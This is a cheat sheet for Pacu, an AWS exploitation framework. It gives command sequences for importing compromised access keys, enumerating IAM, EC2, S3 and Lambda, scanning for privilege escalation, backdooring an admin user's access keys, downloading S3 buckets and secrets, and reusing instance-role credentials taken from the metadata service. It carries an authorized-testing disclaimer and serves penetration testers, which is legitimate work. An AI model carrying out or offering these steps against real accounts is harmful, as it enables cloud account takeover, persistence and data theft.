Pacu Cheat Sheet
AWS exploitation framework with modules for privilege escalation, persistence, and data exfiltration after key compromise.
Overview
Pacu automates offensive AWS security testing: enumeration modules, privilege escalation paths, and exfiltration. Run after valid AWS credentials are confirmed with aws sts get-caller-identity.
Authorized testing only. Use only on systems, networks, and accounts you own or have explicit written permission to test. Unauthorized access is illegal.
Install
git clone https://github.com/RhinoSecurityLabs/pacucd pacupip install -r requirements.txtWrapper
bash install.shpython3 pacu.pyEssential commands
Inside Pacu shell
import_keys attackerEnter Access Key, Secret, Session Token (optional), region
whoamidatalistrun iam__enum_users_roles_policies_groupsCommon workflows
Import creds and baseline enum —
python3 pacu.pyPacu > import_keysPacu (attacker:import_keys) > set AWS_ACCESS_KEY_ID AKIA...Pacu (attacker) > run iam__enum_permissionsPacu (attacker) > run iam__enum_users_roles_policies_groupsPacu (attacker) > run ec2__enumPacu (attacker) > run s3__enum_bucketsPrivilege escalation —
Pacu (attacker) > run iam__privesc_scanReview suggested IAM policy attachments / PassRole
Pacu (attacker) > run iam__backdoor_users_keys --user-name target-adminData exfiltration —
Pacu (attacker) > run s3__download_bucket --bucket-names target-bucketPacu (attacker) > run secretsmanager__enumPacu (attacker) > run lambda__enumAfter curling IMDS on EC2
Pacu > import_keys ec2-rolePaste temporary creds from instance role
Pacu (ec2-role) > run ec2__download_userdataSQLite data / reporting —
Pacu (attacker) > dataFlags reference
import_keys NAME | New key set / session |
|---|---|
set_keys NAME | Switch active keys |
run MODULE | Execute module |
run MODULE --help | Module parameters |
list | Available modules |
whoami | Current AWS identity |
data | Session loot summary |
exit | Quit (session saved) |
Tips
- Modules are noisy — map to CloudTrail; get approval for destructive modules.
- Combine with enumerate-iam (bundled concept) output from iam__enum_permissions.
- Always whoami after import — wrong region breaks EC2 modules.
- Update Pacu regularly; new AWS attack modules land frequently.